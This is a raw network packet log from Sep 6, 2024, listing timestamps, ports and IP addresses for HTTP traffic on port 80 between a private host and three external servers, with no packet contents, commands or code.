Sep 6, 2024 08:17:06.543792963 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543803930 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543812990 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543814898 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543838024 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543864965 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543885946 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543896914 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543906927 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543925047 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543967009 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543973923 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543984890 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543993950 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.544006109 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.544013977 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.544018030 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.544040918 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.544053078 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.547147989 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.547204018 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.547214985 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.547225952 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.547230005 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.547239065 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.547256947 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.547262907 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.547272921 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.547281981 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.547285080 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.547305107 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.547322035 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.551094055 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.551105022 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.551114082 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.551131010 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.551141977 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.551146030 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.551152945 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.551167965 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.551178932 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.551196098 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.551229000 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.551239967 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.551250935 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.551261902 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.551265001 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.551274061 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.551289082 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.551301956 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.551315069 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.551343918 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.551373959 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.551460981 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.552562952 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.552639008 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.552659988 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.552670002 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.552680969 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.552692890 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.552695036 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.552702904 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.552715063 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.552716970 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.552773952 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.552774906 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.552813053 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.553060055 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.553069115 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.553077936 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.553101063 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.553109884 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.553122044 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.553122044 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.553147078 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.553158998 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.553175926 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.553224087 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.553297997 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.553334951 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.553395033 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.553406954 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.553416967 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.553426027 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.553437948 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.553451061 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.553452969 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.553472042 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.553482056 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.553483009 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.553489923 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.553493977 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.553503036 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.553524017 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.553553104 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.553865910 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.553942919 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.553953886 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.553992987 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.554023027 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.554034948 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.554044962 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.554070950 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.554086924 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.554164886 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.554176092 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.554208040 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.555171967 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.555216074 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.555226088 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.555236101 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.555264950 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.555288076 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.555299044 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.555310011 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.555319071 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.555330992 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.555339098 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.555358887 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.555368900 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.555696964 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.555737019 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.555737972 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.555748940 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.555782080 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.555855989 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.555867910 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.555903912 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.555975914 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.555990934 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556001902 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556013107 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556027889 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.556049109 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.556179047 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556195021 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556205988 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556224108 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556226015 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.556240082 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556252003 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.556257963 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556269884 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556279898 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.556281090 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556293011 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556294918 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.556308985 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556319952 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556320906 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.556329966 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556341887 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556351900 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556366920 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.556369066 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556377888 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556380987 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.556387901 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556400061 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556410074 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556411982 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.556420088 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556430101 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556440115 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.556441069 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556452990 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556463003 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556463957 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.556473017 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556489944 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556502104 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.556503057 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556512117 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.556514025 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556524992 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.556541920 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.556560993 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.580149889 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.580169916 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.580178976 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.580203056 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.580203056 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.580214977 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.580226898 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.580229998 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.580239058 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.580262899 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.580281973 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.580284119 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.580427885 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.582636118 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.582680941 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.582689047 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.582701921 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.582734108 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.582763910 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.582773924 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.582784891 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.582797050 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.582806110 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.582807064 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.582838058 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.582848072 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.584458113 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.584511042 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.584517002 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.584527016 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.584537029 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.584569931 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.584600925 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.584613085 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.584623098 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.584634066 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.584650040 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.584683895 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.586585999 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.586601973 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.586613894 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.586623907 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.586637974 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.586641073 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.586652040 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.586653948 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.586663008 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.586678028 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.586690903 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.586714029 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.586735964 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.589760065 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.589770079 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.589780092 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.589808941 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.589818001 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.589829922 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.589837074 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.589839935 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.589852095 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.589864016 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.589870930 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.589889050 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.589912891 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.597053051 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.597064018 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.597074986 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.597103119 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.597126961 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.597137928 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.597147942 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.597147942 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.597160101 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.597172022 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.597193003 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.600084066 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600162029 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.600182056 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600193977 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600225925 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.600265980 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600276947 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600287914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600318909 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.600339890 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.600410938 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600420952 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600464106 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.600559950 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600575924 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600589991 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600603104 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600605011 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.600617886 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600626945 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.600635052 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600646973 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600655079 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.600656033 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600667953 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600672007 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.600688934 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600704908 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.600708961 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600722075 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600730896 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.600735903 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600749969 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600759983 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600770950 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.600771904 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600785971 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.600799084 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.600800991 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.600812912 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.600817919 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.600825071 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.600836992 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.600851059 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.600852013 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.600862980 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.600872993 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.600876093 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.600883007 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.600897074 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.600899935 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.600909948 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.600912094 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.600922108 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.600934029 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.600936890 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.600944042 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.600963116 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.600967884 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.600980997 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.600987911 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.600994110 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601003885 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601006031 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.601016045 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601032019 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601037025 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601049900 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601059914 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601066113 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601070881 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601078987 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601089954 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601099014 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601119995 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601140976 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.601161957 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601172924 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601182938 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601193905 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.601205111 CEST	80	49734	176.113.115.33	192.168.2.4
